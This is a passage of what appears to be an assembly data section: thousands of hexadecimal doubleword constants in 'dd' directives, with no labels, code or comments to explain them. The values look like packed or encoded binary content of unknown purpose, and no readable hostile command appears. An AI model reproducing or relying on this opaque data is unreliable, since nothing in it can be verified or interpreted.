460358F3h, 5457BF36h, 0A2083Ch, 574F98Ah, 0F0A1ECF3h dd 62E83151h, 3043C040h, 45002DC0h, 0B4C15CCEh, 0E9BC545Dh dd 78C10A8h, 59EDB160h, 58EBC1E9h, 6FBFCC47h, 9DE85278h dd 0B01FF0h, 0F04E480Ch, 64C31069h, 87ED605Ch, 5258BCB0h dd 744AF4E2h, 703CD8ACh, 65C61F07h, 0C8EE4651h, 4AA41A3Ch dd 606BD4ADh, 0A04D94F6h, 0A32A3031h, 28F5EFD0h, 563C5EF8h dd 5CB53C36h, 6F2BC7D4h, 752D5BD1h, 11016063h, 0FB053C2Fh dd 67860ECh, 0B873C024h, 0B01E57C9h, 464AF578h, 17484BCh dd 0CC73BD57h, 0F368E919h, 5266301Fh, 72FF4035h, 35FF0C70h dd 8B81FD48h, 44F258E7h, 5CCC460h, 0EB550362h, 0B4E49C74h dd 0C5CF726h, 98803B65h, 1D0244C2h, 3C73C15Dh, 2874E918h dd 20D349BCh, 86F0C449h, 2C090508h, 29C45447h, 0DC8249E4h dd 0C0C849C2h, 542EC97Eh, 50720C1h, 64F44EFh, 3E6874ECh dd 630565C3h, 0C94766F9h, 42902C20h, 1C5A922Ch, 0B0415D80h dd 652C30BFh, 1FF8EE67h, 8BE966D3h, 0AB0E6BCh, 8FC9832Bh dd 50016918h, 7DBB9B6Eh, 2BABE0Ch, 0AB0D97CEh, 1684D945h dd 0CC17EA11h, 7C3CAC39h, 0EFF11842h, 52C860E9h, 74F35605h dd 683B05CCh, 9301ABC0h, 522C44F5h, 0CC0BD85Bh, 2164AF89h dd 590374F9h, 0CD969068h, 5083FEF8h, 0F4B0D02Eh, 4D17D42Dh dd 2004EEEDh, 0D1BAF5EFh, 3C5E74F0h, 0ACE84B44h, 3CE91989h dd 9FD468F3h, 6907FF5Dh, 58C35421h, 28DDA748h, 0B8AA7060h dd 2E70E28Ch, 1904DF8h, 0B4D08A25h, 10BF221h, 0CD5DF450h dd 62012185h, 638BC3C1h, 53CB57A0h, 584B80BAh, 0F3BFC863h dd 0A2680144h, 0EB5A8999h, 84804570h, 80342EE8h, 5D0146CFh dd 0E850BEC1h, 0CF815D68h, 0ECF2CB60h, 8297907Dh, 0F08035E4h dd 379DFD46h, 0DCBFDDE9h, 2D7BEFCBh, 2154CE30h, 68C559h dd 69F25A48h, 0B5EB56CDh, 163A309Ch, 0E0D1F002h, 8038470Dh dd 2D243843h, 93035F10h, 0C1486FC1h, 0E9D073A2h, 283A60F0h dd 19EDA4CEh, 1C46D224h, 530CDC20h, 2061F057h, 526D07F2h dd 4E3AE8EDh, 0E15BEEA4h, 14E077B8h, 28C42614h, 8C848099h dd 30B10727h, 3CD5FF8h, 0F6B5F153h, 8814EEEFh, 2DCC2F3h dd 0CCD22DF0h, 0CBD88353h, 4CA8C44Dh, 562F213h, 1A12F04h dd 14AE880h, 0F77DE40Eh, 5369B0A1h, 6004B4F0h, 572665A3h dd 86CCCDBAh, 4B5F428h, 0C8B45018h, 584A52F0h, 162DDC53h dd 0E78BBC01h, 5D208556h, 0D4A22F13h, 0BDEA0504h, 0E8448260h dd 6453F49Ah, 44F0A427h, 14A02084h, 3CFF05Dh, 43C1EFCEh dd 3CC34E05h, 0CCF0C040h, 0B48B7AE5h, 77E0B0FEh, 0ADAF0081h dd 0EE82FD96h, 3603ECBBh, 5597281Ch, 9F19E1AEh, 88910C43h dd 9DBE2C8Fh, 0D7040450h, 0BA5B10E8h, 50B897EAh, 92E707C2h dd 0F559A06h, 970131Eh, 0E289134h, 5A28017Dh, 0E700B15Bh dd 0FB04D31Fh, 0C9838942h, 53F480BFh, 0A9299D4Ch, 90C2201Eh dd 1A8930A8h, 0AD002D7Ch, 0F7F1DAD6h, 634BC80Dh, 0A519F1C0h dd 0C234FD90h, 3D62980Ch, 9A6608D2h, 0D3FB00FCh, 91325619h dd 88C5C7D4h, 6C0E55Fh, 257BE04Ah, 74DCF80Bh, 31C93882h dd 948C887Dh, 6BDD1E00h, 184361ECh, 0A8288789h, 0B2505211h dd 0AE209298h, 0E30501D6h, 4E5AE7A1h, 4AC4482Eh, 0FB0C3E00h dd 2B3BBC21h, 930129F0h, 0A219821Ch, 0E090A1E7h, 13008C99h dd 0DCDAD09Ah, 6CCA809h, 0E0915B03h, 0F8008035h, 38FF62BAh dd 6085D64h, 0D71C558Dh, 0FBF8D0DAh, 0D565F218h, 60951511h dd 31407136h, 0E0D07821h, 86E9ACF8h, 301CA097h, 0A0B8AD69h dd 1468EEA4h, 1C59A5E8h, 8513DFC8h, 15FD20A4h, 0ECAD965Ah dd 13C3B683h, 0E5582105h, 8D03DBDAh, 311E137h, 12F8EE18h dd 58181ABEh, 0D11943D2h, 0DDB3007Ah, 41B4EF1h, 170F02E9h dd 32A40D55h, 90A10C33h, 8CA234F1h, 0FF21C162h, 5ABD809Fh dd 14BAF6Fh, 14D2EC77h, 8009708Ah, 5F53F999h, 188D94h dd 5A517B24h, 0B49891FDh, 0AC120402h, 845BB10Eh, 0AA63A540h dd 0FA329A90h, 0C2229943h, 199CF800h, 0C7F0A9D0h, 30404986h dd 2F465BE8h, 0ED38BCA2h, 8487025Bh, 7C710216h, 0F748D8E8h dd 0D10A8600h, 0AB1FC769h, 4931040Bh, 904B4DA7h, 8F025EB0h dd 53EFD500h, 831626F3h, 0D0C70123h, 0FCF905BBh, 584DE434h dd 0E5744E02h, 40D751D9h, 4E2C974Ch, 964B8D6h, 2475B05h dd 20184240h, 9E5777C1h, 7747A9Dh, 8A27460Eh, 0A71792A2h dd 1C756891h, 72A400F9h, 253D0594h, 81C01C23h, 0FA435D10h dd 2889F017h, 57B83833h, 3D883C92h, 837F1E62h, 0B6949590h dd 0C4DA5084h, 881947F2h, 0C520A117h, 0F8E4709Fh, 0D130F615h dd 0C82EE90Fh, 91020118h, 8E164241h, 14089839h, 3B9FCD21h dd 0CA003A17h, 241B3D3Bh dd 9B3C65B6h, 4E5B0006h, 0E39EB199h, 7C642739h, 0A2471076h dd 0DCD4BA07h, 3704D0BEh, 0CE035302h, 1531F7AEh, 300926E6h dd 8B978094h, 6336D552h, 0FEBEAE1Dh, 0B65D6800h, 0E6880104h dd 0D94B185Bh, 0EB3A312Ch, 9228B107h, 0B0908E29h, 9C50C24h dd 0EDFB8C72h, 5B58907Fh, 0CA132689h, 59980130h, 2F39E6FEh dd 0FA0064F6h, 811EDDD1h, 0E1618259h, 40913520h, 3CD8D194h dd 9613A500h, 91A028F6h, 1D221607h, 51F14946h, 0F32FBF31h dd 0A339A0h, 371A276h, 443574Fh, 90CA62ABh, 54CCBFDDh dd 0ECD29D75h, 3D1E6100h, 35520B86h, 21E4125Eh, 6430FFC5h dd 0C4BD9EE0h, 80263B39h, 47104848h, 27EA48B0h, 8144B0D0h dd 0D9940F03h, 7100E462h, 0CF569DF6h, 66125E8Ah, 40FF7589h dd 8099B284h, 0EB03F7A9h, 239112F5h, 0ACC8A4F6h, 82F213D5h dd 0EB9E002Eh, 0B1ED66C0h, 45B78D01h, 0DB73899Dh, 4956C50h dd 58C5486Ah, 40BC4E12h, 49AC1FB0h, 5F778213h, 80964A1Eh dd 0E060846Ah, 0AF56DD69h, 578200FBh, 5521755h, 0C3007B83h dd 0CA9D9F62h, 12470CDCh, 5E41B87h, 804D4E7Ch, 193EAE3Ch dd 4C508067h, 0F490DED5h, 0A090B48Bh, 595AF964h, 520078BEh dd 82711170h, 0F44915F0h, 18CE8190h, 30FE9104h, 38011E8h dd 1E1700A6h, 4F602601h, 0A70579C9h, 2D2381E4h, 210C40Bh dd 453A0838h, 0E46C0038h, 8C66581Eh, 0FC01C0ACh, 53F7A482h dd 908131Bh, 1EF43888h, 47309E82h, 0A0C8585Ah, 1F1545A1h dd 6A84BC50h, 66F0C260h, 0A5780541h, 0D5250684h, 0F300C1DDh dd 7BDB8A55h, 18EA7Ch, 0ACAB6793h, 99FBA412h, 325DF500h dd 572824BCh, 0AC6A4ED2h, 61B5C280h, 0C420E9E8h, 0D8C9E459h dd 0FCC4E42Fh, 6FE8F800h, 0A6B6AF27h, 6D84004Fh, 86E7D9D3h dd 0B43A4871h, 0CDB1C45h, 2A03749h, 3FF864h, 957A3B2Eh dd 0E6E0D305h, 6862B125h, 4BF04024h, 59ACA087h, 0B460978h dd 409701FCh, 829D3591h, 0C290C705h, 0D804D04Ch, 9504A1FEh dd 21E6C498h, 0AE02A66Dh, 489A3596h, 41DA947Ch, 419EECB4h dd 125C8657h, 344016D5h, 741C7391h, 0F05074Eh, 0DECAF559h dd 0EB00FFB3h, 0F7505A04h, 892C91E6h, 445AE37Eh, 0DF2C3048h dd 2015E509h, 47821460h, 12ACBAD8h, 318BB467h, 313EBA80h dd 347424EEh, 5F408960h, 0A84D25DFh, 595454h, 51E83980h dd 70B41CB2h, 18F19490h, 7A1879CAh, 223F4390h, 0A9CF01E3h dd 0FF0B7317h, 5B85063h, 464C7DA5h, 9E391018h, 6A2C3709h dd 0C928E42Ah, 0BF46EC83h, 0F1FC9050h, 40E71529h, 718C903h dd 40784791h, 17A4CE00h, 65643063h, 1E02351h, 69DEDD8h dd 2F246D0h, 90FE18CCh, 0E7289161h, 17A3D110h, 0A590C601h dd 0FA0BB749h, 2C093422h, 18D71FA7h, 88FFA4h, 391E8450h dd 406BCE6Ch, 357C9AB0h, 829CBF01h, 0A51990ECh, 0B4C675FAh dd 910CD530h, 1572A0BDh, 8CC55CBFh, 0CE051580h, 8A8BD548h dd 93C5A94h, 9612EAEh, 19D20C90h, 934EF8CBh, 7292D8B4h dd 0B2E63B3Dh, 3E44CF00h, 4A30FBD9h, 320BB673h, 30619CFEh dd 0E6D2ECh, 0FF56937Ah, 0CDF1F5F3h, 0F78A3304h, 0A8D24A5Ah dd 0A15446E7h, 60679828h, 807D2E08h, 0A2F58860h, 759618ADh dd 8164B112h, 56272496h, 82D165F4h, 0FD308D58h, 0F7A50482h dd 2713178Bh, 0C0D19DD8h, 0E8F96A82h, 4A018CF3h, 97FCD0C1h dd 0A9C61A59h, 8B0448B4h, 187E00F6h, 576F102Ch, 482458F0h dd 46741031h, 0E6C10AE2h, 3B028057h, 75B17205h, 369DC8E9h dd 53087E4Ch, 0CEEFAEC9h, 8D2600D1h, 59F5852h, 4EC1036Ch dd 0AA2C952Fh, 946C57h, 6FB0A9Ch, 9E8263Fh, 2FC9A59h, 310E44A0h dd 0ED8097C5h, 288090C8h, 58B80825h, 7A8B3075h, 3F00041Eh dd 6C3C6461h, 9D0B8F01h, 568390D1h, 1922C32h, 7935FF69h dd 48860FBFh, 5B00F47Ch, 0ACFC209Ah, 9C34CF81h, 0A1E205D0h dd 61B8D006h, 0ED8141F8h, 0C832F425h, 0A033EBF2h, 53C4A76h dd 2741E8AAh, 0FB704765h, 39C240C1h, 0CD00EEC6h, 29C4493Fh dd 0E78982h, 3752E291h, 5F103AC1h, 0B8C81B2Eh, 267F8108h dd 3000A5B0h, 2F1D4E6h, 0D3BFEB1Eh, 0B9D88060h, 8D5F014Dh dd 0C888E065h, 4602399h, 6ABA0FCFh, 3526CE0h, 7F543766h dd 0A7E0C946h, 5C005003h, 0D479240h, 7FD48B4h, 0C8833933h dd 8CB3A0CAh, 0BE009853h, 0BBB0AD64h, 0D25554h, 3B3D1713h dd 33496DFFh, 21A909CCh, 170E0072h, 77251F2Fh, 2A04F0D1h dd 0BEA2AEE0h, 504B6507h, 4C1F0F93h, 8B915A00h, 0D615CD07h dd 4E040050h, 4833E16Ch, 0CE0C4DBCh, 0A022FA36h, 0D5E70345h dd 7F9E84Eh, 0C949BBC0h, 58BD6A36h, 25F46A8h, 3B12171Ah dd 89A431E7h, 7117789h, 0C790609Bh, 767ECAh, 1492538Bh dd 0B4058CFh, 4D4CB500h, 4EC86179h, 88206076h, 0B22754E5h dd 502A0B1Dh, 6A757030h, 0CE593A7Fh, 0D6B3A2BDh, 21005109h dd 0A67F6215h, 8CA0B8h, 6AED9198h, 9E3F6894h, 0D1BC59C3h dd 35313F4Eh, 2BDD3D03h, 36833027h, 0E9AEE032h, 17153066h dd 0F3B3708h, 43A7646Eh, 0F0171070h, 7B9FAD6Ch, 9CFCA196h dd 3863EECCh, 1BF3AE3h, 0F9747A81h, 0CE1AFAh, 63314A3Bh dd 862B1867h, 4E6B9900h, 0B00FBEEBh, 8DD301D7h, 50AB5609h dd 7560FABAh, 5930423Ah, 0FACD3868h, 50C9606Ah, 6E794A39h dd 145CAE80h, 6462BE99h, 3B171983h, 0D8B1EF8Ah, 47410A5h dd 718E0017h, 3ECE1859h, 5C92730Eh, 0AAA2B912h, 6F1A6821h dd 4451E500h, 40C0C1EEh, 90599BB2h, 0B6451C6Ch, 8E3E8C69h dd 21C1C408h, 0C79061B4h, 0A0175D0h, 1F053A39h, 0CBEA428Ch dd 61468844h, 3C170C02h, 0AA31F73Bh, 17037510h, 62C12100h dd 3D93CBFEh, 0B279070Bh, 764C1248h, 0BC1581C5h, 50B449CAh dd 0F704A480h, 24564ED0h, 0C37F1D1Fh, 62413A31h, 0D9549800h dd 0C8670BAAh, 4D3348F1h, 0CACB4060h, 0B0C0A64Ah, 0E9AE5A3Fh dd 0C0C8C477h, 0F229C068h, 20C0CAC6h, 4522EFB2h, 20365361h dd 60F66784h, 4006D2CDh, 5A15BBD0h, 5F87D6Dh, 15523895h dd 0CA129C41h, 7502BD0Ah, 5845EAE1h, 903D5CC8h, 118E2369h dd 0FB20D1h, 9EA1C7ACh, 51C4D7CAh, 27D9A00h, 4237208Dh dd 7B137752h, 34E649FBh, 7DC9C50h, 0D14AC24Dh, 0C02B997h dd 0C8A0BDADh, 6169582Fh, 1FEC4F00h, 0B1A25384h, 160E166Eh dd 2F5A12FBh, 0BEA41078h, 2D75D0C1h, 0E20C3162h, 117F6B30h dd 887DCE5Ch, 63168077h, 9F4F887Fh, 9D20140Ch, 7CBB8E2h dd 9450060Dh, 1452E5B1h, 46236888h, 6A905B01h, 0D5188645h dd 64FE88h, 2A6C1B90h, 0C616DB63h, 0F646CE09h, 26280F26h dd 1894A2Ch, 6B2FC3BEh, 0CD523B69h, 0B3E04156h, 514AC83Dh dd 0C71081EDh, 8B773B9Ah, 0C975E824h, 90826229h, 7096A96h dd 0A04AADE0h, 0FB23E880h, 0F6264C1Dh, 32EC00D6h, 16D74607h dd 28A3CAC9h, 62457810h, 0B5DDD500h, 0DBCA49C1h, 0C61A49C6h dd 890C07D9h, 0A02B177Ah, 0FD227BA5h, 29BAAE30h, 4537D7h dd 0B6CDE32Eh, 130CF0B3h, 7ACFCA1Bh, 5C29CE68h, 8630CFB1h dd 0C222F271h, 0BC158892h, 448C42CFh, 4B7CF22Ch, 91113C00h dd 40DD7F85h, 0F6F28B9h, 0BD5508D4h, 0BB136442h, 6667D403h dd 85115056h, 0CD1A0BF1h, 0E106D641h, 17600809h, 0F13A8F21h dd 8D96B9h, 71F8EB90h, 4C189EABh, 0E1F9BF33h, 0C2877DBCh dd 3D8BE78h dd 20203F22h, 0BC86F2CBh, 42F5C8C1h, 14356B29h, 0AED32180h dd 1E48ECADh, 0DF4A941Eh, 2E1B718h, 0C32200C8h, 3DDC1DD3h dd 0FF037CACh, 0D0BCB590h, 4C290047h, 0FA6C7945h, 34A0A602h dd 818C2531h, 3C186580h, 0CD0CF108h, 401FC431h, 34F14491h dd 43F0B052h, 0D8CA29F3h, 0E1094826h, 0B02C9668h, 2849C029h dd 5F81C22Fh, 0B53D141Fh, 0FBA31FC0h, 38C744h, 235979E8h dd 5B2B7E07h, 0EC402203h, 0D0258895h, 0CC35815Fh, 0C4211A08h dd 0B7EC4B26h, 6C6BBC00h, 6A0B29h, 307BCA67h, 637355C9h dd 0F7035D1Fh, 7E025B80h, 0C01C3AAAh, 0FA8CB852h, 30C173F5h dd 58ED2EA4h, 0C0C99707h, 4501E9BFh, 7F05A318h, 30030970h dd 0BE30409Ah, 81408DD6h, 5CB0018Fh, 0C34F01A1h, 2B688058h dd 52BCD97Bh, 55CE06C2h, 8C6DA27h, 2001AE30h, 0CBCD09Ah dd 716A5804h, 5C000260h, 32384BE9h, 62177BE4h, 0A0D310FEh dd 0EB68B341h, 23B32900h, 1A9AC0A1h, 0A88E00BDh, 0F7C3F24Ah dd 8D0C42D3h, 0A853BEFAh, 0C18901F5h, 68EB2C5Eh, 0DE41806Dh dd 0DDBB173Ah, 3D0100D4h, 529E6675h, 6101A6F2h, 0C129377Ah dd 0F1C44972h, 0BE3A006Dh, 65937DDEh, 4800D25Dh, 407FF420h dd 50E12930h, 1C878451h, 0C0C23FB5h, 7B831D8Eh, 0A3182B14h dd 0E8787981h, 8456F7Ch, 80C8430Ah, 0A285C6ABh, 7B3181C1h dd 8469504Eh, 3EFA8900h, 86C8333Eh, 7079DEE9h, 163B0218h dd 0B8B095A8h, 4D8DF4B1h, 0B06AF1E8h, 0A60D2068h, 33ECA865h dd 0FA951AC3h, 0BB41A02Bh, 2088844Ch, 2C9029D8h, 14E2EA89h dd 207BC9AAh, 0DA668F8Fh, 0A40918ABh, 215E41C6h, 0AC4E0A18h dd 53C2188Ah, 859CBAF0h, 0A1687016h, 0ACAA46F6h, 604E1484h dd 2353BCDAh, 5018C6C2h, 90D19B21h, 0C41800F1h, 0B65254F9h dd 0C00C5991h, 60231695h, 0FD9CA041h, 0C88F8088h, 0A89B4A0h dd 98AF1A36h, 0FEE40410h, 0C6980FD8h, 484688CEh, 51BCDC02h dd 241CF6C2h, 358CB9Dh, 5FFFA652h, 89623BB1h, 20766958h dd 92BF092Ch, 52C805D9h, 303267DAh, 4DE1DB10h, 547F0700h dd 0A239B2A3h, 0BC6549F6h, 3084D841h, 2C91CBh, 46940B7Eh dd 0B7A22640h, 9FAA0C62h, 21C01908h, 0FC46EC68h, 0E8914859h dd 8F181A24h, 8FE06AAAh, 0A0D27CAFh, 1F22960Ah, 4B91C036h dd 6EBCDD80h, 448CEEC2h, 0D4009E56h, 0B6C0A8BCh, 71811BDFh dd 693A38ABh, 0ADD98CB0h, 6B000985h, 72CCE7B8h, 7D9883h dd 147CC011h, 7BC5E1A9h, 30A18701h, 2A648547h, 0F6F73883h dd 985117A2h, 3FCE584h, 1256E17Fh, 0CBB18A4h, 0F5B8C9EFh dd 0A5A8E14h, 44B05064h, 810C8F4Ch, 31CA96F5h, 8DC02087h dd 0C413C92Eh, 0A66F3006h, 122023B2h, 475A45DBh, 0F5FFE70Ch dd 20A0318Dh, 5B8050DAh, 0C224F9D2h, 123A7422h, 284ACA50h dd 95C0D4D4h, 43A24346h, 0ED69808Fh, 265F846h, 45E6DBA8h dd 88918682h, 0A8C1B0ECh, 0C07C69EDh, 18515E11h, 0B706F6DCh dd 67FF067Fh, 21846008h, 47185938h, 0A4ADE605h, 0DF0187FEh dd 803D86B5h, 28ECF994h, 0D3185080h, 448C4FF6h, 58003982h dd 7732CE18h, 1F4D9A6h, 0F6856D08h, 481EE6BEh, 0AE40B8D4h dd 428E7CF7h, 0A41B1D30h, 0D04464E4h, 47466067h, 448CEFA2h dd 0E9006D18h, 89B9A846h, 1B95F53Dh, 0A4480F61h, 9C1AD9B1h dd 560B6A0Ch, 9DA1D7E8h, 0C9C35E20h, 33BE2B89h, 2100189Ch dd 54C35646h, 1DD65DCh, 0F8BF0FCAh, 0D10D8589h, 5253914Ah dd 22C35A87h, 1A315489h, 0C3524210h, 0B8A45F00h, 0BD7484DFh dd 48C46EB5h, 858DFA81h, 0E95D8C05h, 0D5370Eh, 402EA8A3h dd 77B9BE48h, 0A558E703h, 19508BEAh, 0E330DD90h, 8CD1E904h dd 14182D48h, 1C0CC801h, 12E95006h, 8A8B0057h, 47405356h dd 9B0064C9h, 5D1A2F4Ah, 6CB2D88h, 840FC403h, 890A3106h dd 0A529918Dh, 0B4C78140h, 19173440h, 23AF3A10h, 6BA50019h dd 0F51053A6h, 0F016A01h, 0B5FFD7B7h, 0A0F9B248h, 8405EDE2h dd 58265046h, 44890A47h, 40174433h, 0E2C35040h, 820F3336h dd 1B020504h, 0EDEA8166h, 1EB58609h, 0ADBA0715h, 0C6BD8BC7h dd 0C0EC721Fh, 6595010Ch, 60E8102Fh, 5209430Ch, 5F007BD2h dd 0A2830213h, 0D3B8D55h, 1625B589h, 0BDE0FB2Eh, 0EDC1299h dd 1209750Ch, 740D4435h, 53501918h, 54D2B868h, 4485B707h dd 9D148DB9h, 587A464h, 585BD3FFh, 8172262h, 0A1F27B20h dd 30EA1233h, 78A6FA0h, 6A830A3Fh, 4491B63Dh, 0C35D8555h dd 916C41C2h, 45101522h, 0C00C355h, 0DBE68053h, 92E585C7h dd 25016561h, 0CAD001F8h, 6068CB99h, 0CE48E40Dh, 27C5180Ch dd 76BA85D7h, 9CD08138h, 52079F2h, 5DBD468h, 211978C0h dd 0B60E1650h, 5092EC50h, 0ED536C6h, 1D95182Bh, 0C00B0C09h dd 8B317473h, 0FC6932D8h, 9A4D308h, 38836603h, 110A7509h dd 9808BDE0h, 8123F556h, 1706DF25h, 7305F883h, 9DD2335h dd 20BBF517h, 945C1FE3h, 91299900h, 97B60D49h, 7E9308Eh dd 0A1C3F021h, 0F255D904h, 69815F08h, 80030D99h, 0AF4B78B2h dd 0F3850F81h, 0CB8B3703h, 91C87E9h, 45BD2B0Eh, 3B387B2Ah dd 34CD08A2h, 0FF029913h, 305F3157h, 7C568972h, 1C22FFh dd 0FDC35747h, 0AC862EF6h, 9E05D20Ah, 421A9FA0h, 11299D97h dd 0FCFF801Ah, 135BF03Ah, 23E9CCA9h, 0BFE0F25Dh, 200126B4h dd 8B5011B2h, 2932E995h, 81700134h, 602F970h, 23BD2220h dd 0A20ABFE0h, 0DC2DCB86h, 2730A224h, 821AD58Dh, 0BE6C2686h dd 1BD95291h, 3701C118h, 0AB63ED96h, 8530623Dh, 0F18101D0h dd 1EF86739h, 174C206Ah, 676D06DAh, 601C646Ah, 25D582Fh dd 7D4FAF4Eh, 94C91657h, 8C530810h, 14C35B39h, 0A02A5C89h dd 0C35343h, 30E4EFAh, 7C217E99h, 52018526h, 0EF401310h dd 43EC427Dh, 428DF030h, 91850014h, 0F8E9E4EDh, 0F120BD29h dd 0EBF95427h, 0DB1648C9h, 2319ED85h, 4ABA07CEh, 5C4002EFh dd 2EE3A7E7h, 0C03571Bh, 8AD25AF9h, 7104B186h, 18A21815h dd 1514E817h, 0AF00F110h, 8B22A6C8h, 13441h, 7C53B266h dd 0F2F978DFh, 60322418h, 802361E8h, 59EC5857h, 45203AB0h dd 0F50120Ch, 0C07F248Ah, 905DB7D4h, 421D1F48h, 1DB04885h dd 71A62CCFh, 10E9C3h, 0ACA56239h, 0CDD457FBh, 0EB115D00h dd 0CCA4F320h, 0AB3A505Fh, 85074931h, 0F82A5E59h, 4C667988h dd 59223AD0h, 0A2BD5053h, 75E33017h, 0B91A7001h, 5948C762h dd 5D096249h, 85516091h, 8D0AC359h, 1D44304Ch, 0C3514140h dd 8D0F9FA6h, 274C8EDh, 60E7D5C5h, 83115505h, 6F1BE630h dd 0C8DAF580h, 0E997D7E8h, 0BA6C0620h, 0D33B00BEh, 2460D564h dd 0AB5019A8h, 5026CB85h, 22102F31h, 0CF8E0F14h, 0BF4DDFC0h dd 0C48C31DBh, 21335984h, 47620229h, 5D26BB9Eh, 3D136640h dd 17798CA0h, 0E98919DDh, 0CAC21128h, 88970B0Dh, 53EC017h dd 8A3230B2h, 482572D4h, 0A4F950EFh, 0F15E905Fh, 96205649h dd 0B89C199h, 42203DBDh, 182A175Ch, 5601210Ah, 0BA00E511h dd 0DCA6B4Fh, 3D359589h, 62817527h, 3D48C8B6h, 81B1E8h dd 0D361E4E5h, 20EBFA6Ah, 7170DF77h, 34C5952h, 0E43986B9h dd 9A8A7145h, 305661EDh, 248278E2h, 998699F5h, 18147177h dd 0C9DCC663h, 0F37BB29h, 3C092182h, 44358568h, 0D97A6016h dd 0BCCCD38h, 0D7414355h, 5A8C422h, 9D8950FCh, 41DF5049h dd 235E3A93h, 72020118h dd 9548F4D0h, 65D105E8h, 0A3CB310Ch, 90E95112h, 7FF60CC3h dd 5918A917h, 836B34EEh, 0C87BFFB3h, 0F2D28088h, 1043868h dd 23383A4Bh, 9BCA001Dh, 892B95A0h, 2886083Dh, 9F538E07h dd 301CF280h, 3702422Eh, 466EAEE1h, 906C145h, 0D4087710h dd 0AD56BC02h, 0E6B583CBh, 49A51F4Dh, 900402D9h, 0E9405059h dd 99B12C39h, 20EEA308h, 0E9FE2E87h, 42D441FFh, 0F81BE5D5h dd 25144001h, 4CEBB710h, 3B1620E3h, 2F298D29h, 32A508BFh dd 0C085F505h, 130AE1C3h, 6357524Fh, 0A28C5AD6h, 0CD1A8A12h dd 74E9D261h, 52D60E35h, 4751Fh, 0D3AE2CC3h, 0EF497369h dd 6A4241FEh, 2B8F5BD4h, 0A4282DA4h, 0FD502232h, 2343843Ah dd 5489D628h, 0C857D43Ch, 0B2810220h, 2AE95F81h, 9D31958Fh dd 0FB01C533h, 40914889h, 58504C27h, 0FFD32919h, 114D174Bh dd 65B801Bh, 0E6016941h, 76084CD2h, 542EC516h, 18E8E47Ch dd 9ED5018Ch, 0F8D94B0h, 3A97228Fh, 0A452B9B9h, 1560065Fh dd 0F414ACF0h, 0C21A05F2h, 28DCB239h, 4C4584B9h, 0F6F8F498h dd 8ABBEEC5h, 0A1F8B7D9h, 0E9EB1AF4h, 0E4FD1B50h, 0EAC6006Dh dd 5984722Eh, 0F401CBE0h, 0FFA1B185h, 49ECE23Bh, 0BAFC01BFh dd 0B6592FABh, 0AE929024h, 0D0AC9AD1h, 32595600h, 41BD030Eh dd 81FEC014h, 0CA6D5DE1h, 83504C3Bh, 9CB617DAh, 0FD722202h dd 50286662h, 1E2CC8DDh, 209B90C6h, 0C7B82861h, 10C48312h dd 0BCB3C8h, 4682C654h, 0C08BEFE1h, 0AB22FDh, 0D1BBF57Dh dd 13FA9C6Ch, 0CF839E26h, 0FED38806h, 5CD20BFFh, 0B880D42Fh dd 0CEDA449Dh, 0A39D88E8h, 0C0B7E1Dh, 2F639106h, 0C9D56652h dd 3313AE59h, 0F6440195h, 0B488BD81h, 6572126Fh, 0CE410861h dd 2AF9BD47h, 50C6BF4Eh, 0EEDC210Eh, 0C791FD90h, 0C04C490h dd 90F985C6h, 4F6844F3h, 96A31813h, 0FA2DDF8Dh, 64D88BC5h dd 2702922Ch, 4A2A4392h, 5974E7A5h, 94EB9E31h, 0AC5BAE65h dd 0D1329910h, 213181Ah, 0F6CBEA65h, 20E3F8BCh, 148856CCh dd 34313901h, 0A61EF107h, 0E1C4D028h, 0A804097Dh, 1DB58B60h dd 0E51070E2h, 0C861281Eh, 7713A15Ah, 0C8F14C8Dh, 10944E3Ch dd 0EF9E304Fh, 599EF9A1h, 7769743Fh, 0E486451Dh, 0BC3A601Ch dd 0F5CD0EDCh, 0B40CC28Bh, 0E13996h, 0AAA58D03h, 668D71A3h dd 30522089h, 0DF5B2AF9h, 50F78107h, 0E8759303h, 74369420h dd 4F2000B7h, 0F14443E4h, 6391DBBh, 10DECC23h, 590D0129h dd 4D3567E9h, 0BDEEE8FAh, 22F61909h, 44B4963Bh, 9D14291Fh dd 224A0725h, 0BF661686h, 0D2500037h, 2B04EA88h, 0AD33E929h dd 8630983Fh, 9EED6832h, 1500F428h, 0F3275EFBh, 0B82D1F9Dh dd 2F61250Eh, 329BBB24h, 1376DAB9h, 0CE0E5195h, 611530F9h dd 538F281h, 8A0BA879h, 22DC8BD4h, 61E9180Ah, 0D181D913h dd 243C883Dh, 85AB245Ch, 20F978h, 3A095FF1h, 7849B97Bh dd 433F1926h, 19D19521h, 84E37F19h, 41EBBA02h, 0D6676C38h dd 217FD4E4h, 8D677AD4h, 92621D44h, 66439F79h, 0F13A8B9h dd 0BB639C81h, 4D108727h, 0C61620CAh, 0F3CE0502h, 7AC01DC8h dd 20A2184h, 0BFD9175h, 1F682E85h, 68343BDFh, 0AC0763Fh dd 80336595h, 6EC2D0B1h, 70118529h, 2D33F114h, 673018B2h dd 841B13E4h, 946E1320h, 81B40459h, 885E172Ah, 0C995A0E2h dd 1F448412h, 857860B1h, 5F68EA80h, 0D010FC6Ch, 8BED35C2h dd 0D215820Eh, 1BD989F9h, 4701BC18h, 0F48AF105h, 93076BAh dd 52A86AF2h, 16467470h, 0BDB1C906h, 3590429h, 55D900D1h dd 894B7E62h, 233CFDB5h, 0B5C5E4Dh, 18C1AF8h, 0B20230FEh dd 91CA3677h, 0D30006ACh, 1FA6DF0Ah, 0CB9460BCh, 0F8176740h dd 0B6310033h, 0B86618E3h, 6109A1AEh, 0CD016A5Fh, 0D84AC6B9h dd 6C0D6126h, 6B1BCB4Eh, 98D88F8h, 6A00BC08h, 1C465C6Eh dd 95FCD000h, 56FA2CAFh, 0E8D68316h, 89A9CB20h, 976F006Eh dd 6C4E0841h, 610030F3h, 68366567h, 94DD99F0h, 521E3A3Bh dd 1FF895Ah, 0C2298605h, 0C36731A6h, 0B14F8408h, 4810B5D4h dd 0ED407CDCh, 23A3E7E9h, 43B378E1h, 8BD68502h, 0DAE8F9F5h dd 4A5B0008h, 0ED99A0EFh, 0D3F0C25Ch, 33988407h, 90CCB4D1h dd 5FABCC49h, 0D88A5292h, 163F9694h, 803D9B50h, 2B2D68C9h dd 50FE258Bh, 63F5B310h, 3A79F300h, 0B8D2514Bh, 0B5FF24CDh dd 622947DAh, 6EE417C5h, 80B40B7Ch, 164676h, 2BAFFF75h dd 9B128995h, 2C2A1C1Eh, 14467C6Ah, 7E08822Dh, 2591A69Fh dd 30C87C91h, 0F8892342h, 0E4C9149Ah, 0C1800A01h, 0A2DEA779h dd 86D58A60h, 0B44D364Dh, 4309DCC0h, 71990A3Dh, 0F0A3001Ch dd 